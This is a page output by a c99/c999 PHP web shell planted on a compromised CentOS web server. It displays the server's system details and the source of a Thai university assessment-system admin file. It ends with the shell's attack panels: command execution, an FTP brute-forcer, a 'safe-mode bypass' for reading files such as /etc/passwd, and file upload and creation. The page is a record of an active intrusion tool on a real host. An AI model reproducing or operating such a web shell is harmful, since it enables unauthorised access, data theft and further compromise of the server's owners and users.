!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/admin/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     esa_showProject.php (10.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsReg_AcadYearConfig.php";
include_once 
"../link/function.php";
include_once 
"../class/clsEsa_DetailProject.php";
include_once 
"../class/clsEsa_HoldProject.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAy = new AcadYearConfig($oCR);
$oDp = new SaDetailProject($oCA);
$oDp2 = new SaDetailProject($oCA);
$oHpj = new HoldProject($oCA);
$oAF = new AssessForm($oCA);
$oDA = new DefineAssessment($oCA);

if(!
$acadYear)
    
$acadYear $GLOBALS["ACADYEAR"];

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<SCRIPT language="javascript">
   function keyCode(evt){
      //var key;
      //if (window.event) key = window.event.keyCode; // ใช้กับ IE
      //else if (e) key = e.which; // ใช้กับ Firefox
      //var key = (evt.which) ? evt.which : evt.keyCode
      var key = (evt.keyCode) ? evt.keyCode : event.keyCode
      if (key < 48 || key > 57)
          return false;
      else
          return true;
   }

function sendPage(startpage,src) {
    var type;
    type = document.getElementById('typeReport').value;
    if(type == 1){
        if(startpage == 1){
            var links = "./esa_resultRQPjTe.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=746, height=600, left = 90, top = 40');
        }else if(startpage == 2){
            var links = "./esa_resultTQPjTe.php?"+src;
            window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=980, height=600, left = 90, top = 40');
        }
    }else if(type == 2){

        var links = "./esa_reportDataRQPjTep2.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }else if(type == 3){
        var links = "./esa_reportDataRQPjTe.php?"+src;
        window.open(links, '', 'toolbars=0, scrollbars=yes, location=0, statusbars=0, menubars=0, resizable=yes, width=850, height=600, left = 90, top = 40');
    }
}
function radioSelect(val){
    document.getElementById('typeReport').value=val;
}
</script>

<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
      <a href="index.php?mm=1">ผลการประเมิน</a> <img src="../picture/ico3.gif" align="absmiddle" border="0">ผลการประเมินโครงการ</font></legend>
      <?php
        
if(!isset($acadYearSearch)){
                
$acadYearSearch $acadYear;
        }
?>
      <div align="center"><br>
    <form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
          <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
              <td height="35" align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;&nbsp;<b>ปีการศึกษา : </b></font> 
                <select name="acadYearSearch" onChange="location.href = '<?php echo $PHP_SELF;?>?acadYearSearch='+encodeURI(options[selectedIndex].value)+''">
<?php
                $oAy
->RSAcadYearConfigGroupAcY();
                while(
$oAy->GetRecord()) {
?>
                <option value="<?php echo $oAy->acadYear;?><? if($acadYearSearch == $oAy->acadYear) echo "selected"?>><?php echo $oAy->acadYear;?></option>
<?php
                
}
?>
                </select>
            <font color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">&nbsp;</font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"></font>
            <input type="submit" name="search" value="ค้นหา">&nbsp;&nbsp;
                </td>
            </tr>
            <tr><td>
                <table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="silver" align="center">
                  <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_6"];?>"> 
                    <td height="22" colspan="3" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>โครงการ/กิจกรรม  </b></font>
                    </td>
                  </tr>
                  <tr><td>
                      <table width="100%" border="0" cellpadding="1" cellspacing="1" bgcolor="silver">
                        
                        <?php
                        $sumCreditTotal 
0;
                        
$i 0;

                        
$oDp->RSMpjByAcy($acadYearSearch);
                        while(
$oDp->GetRecord()) {
                            
$i++;
                            if(
$method=="edit"){
                                
$oHpj->RSByDefineidPj($defineid,$oDp->dpj_id);
                            }
?>
                            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>">
                                <td>&nbsp;&nbsp;
                                <a href="<?php echo $PHP_SELF."?dpj_id=$oDp->dpj_id";?>" >
                                <b><?=$oDp->dpj_code?>&nbsp;&nbsp;<?=$oDp->dpj_sub_name?></a></b></td>
                            </tr>
<?php
                            $oDp2
->RSByMpjAcy($oDp->dpj_id,$acadYearSearch);
                            while(
$oDp2->GetRecord()) {
                                
$i++;
                                if(
$method=="edit"){
                                    
$oHpj->RSByDefineidPj($defineid,$oDp2->dpj_id);
                                }
?>
                                <tr bgcolor="#FFFFFF">
                                    <td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="<?php echo $PHP_SELF."?dpj_id=$oDp2->dpj_id";?>" ><?=$oDp2->dpj_code?>&nbsp;&nbsp;<?=$oDp2->dpj_sub_name?></a></td>
                                </tr>
<?php
                            
}
                            
$i++;
                        }
//end while HCT

                    
if($i == 0){
?>
                        <tr bgcolor="#FFFFFF"> 
                          <td colspan="3" align="center"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                              ไม่ปรากฏรายการ กรุณาตรวจสอบข้อมูลโครงการ/กิจกรรม ในปีการศึกษา <?=$acadYearSearch?> 
                              **</font></div></td>
                        </tr>
<?php    
                    
}
?>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_6"];?>"> 
                          <td height="13" colspan="3" align="center" ><div align="left"></div></td>
                        </tr>
                    </table>
            </td></tr>
        </table>
        </td></tr>

        <tr><td colspan="6">&nbsp;</td></tr>
<!-- แสดงรายการแบบประเมิน -->
        <tr> 
            <td height="22" colspan="6"> <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_6"]; ?>"><img src="../picture/bookmark.gif" width="12" height="13" border="0"> ผลการประเมินโครงการ/กิจกรรม </font></legend>

            <table width="599" align="center" >
                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
                    <td >
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>เลือกประเภทรายงาน :</b>
                     <br>&nbsp; <input type="radio" name="typeReport"  id="typeReport" value="1" checked onClick="radioSelect(1)">
                      รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน</font> 
                      <br> &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="2" onClick="radioSelect(2)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด)</font><br> 
                      &nbsp; <input type="radio" name="typeReport"  id="typeReport" value="3" onClick="radioSelect(3)"> 
                      <font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2"> 
                      รายงานผลประเมินข้อมูลดิบ (เฉพาะคำถามปลายปิด)</font> 
                      </td>
                </tr>
                <tr><td></td></tr>
                <tr><td></td></tr>
<?php
                $oDp
->SearchByKey($dpj_id);
                
$oDp->GetRecord();
?>
                <tr><td><b>รายการแบบประเมิน :</b> <?php
                
echo $oDp->dpj_sub_name;
                
?></td></tr>
<?php
                $i 
0;
                
$oDA->RSByPjAcYFlag($dpj_id,$acadYear,10);

                while(
$oDA->GetRecord()){
                    
$i++;
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();

                    
//หาความยาวของชื่อแบบประเมิน    
                    
$strNameAss strlen($oAF->nameAss);
                    if((
$i%2) == 0)
                        echo 
"<tr><td>";
                    else
                        echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_4"]."\"><td>";
?>
<a href = "#" onClick = "sendPage('1','defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&pjid=<?=$dpj_id;?>')">
                  <? if($oAF->maintopic == ""){ echo "<img src = \"../picture/warn.png\" border = \"0\">"$oAF->nameAss; }else{ echo $oAF->maintopic; } ?>
                  &nbsp;
                  <?php  echo '( '.abbreDate2($oDA->startDate,'/');?> - <?php  echo abbreDate2($oDA->endDate,'/').' )';?>
                  </a>
<?php
                    
echo '</td></tr>';
                }
                if(
$i==0){
?>
                    <tr bgcolor="#FFFFFF"> 
                      <td align="center"><div align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                          ไม่ปรากฏรายการแบบประเมิน <?=$oDp->dpj_sub_name;?> 
                          **</font></div></td>
                    </tr>
<?php
                
}
?>
                      
            </table>
            </fieldset>
        </td></tr>
<!-- จบแสดงรายการแบบประเมิน -->
        <tr> 
    </table>     
</form>
      </div>
      </fieldset><br>
    </td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0139 ]--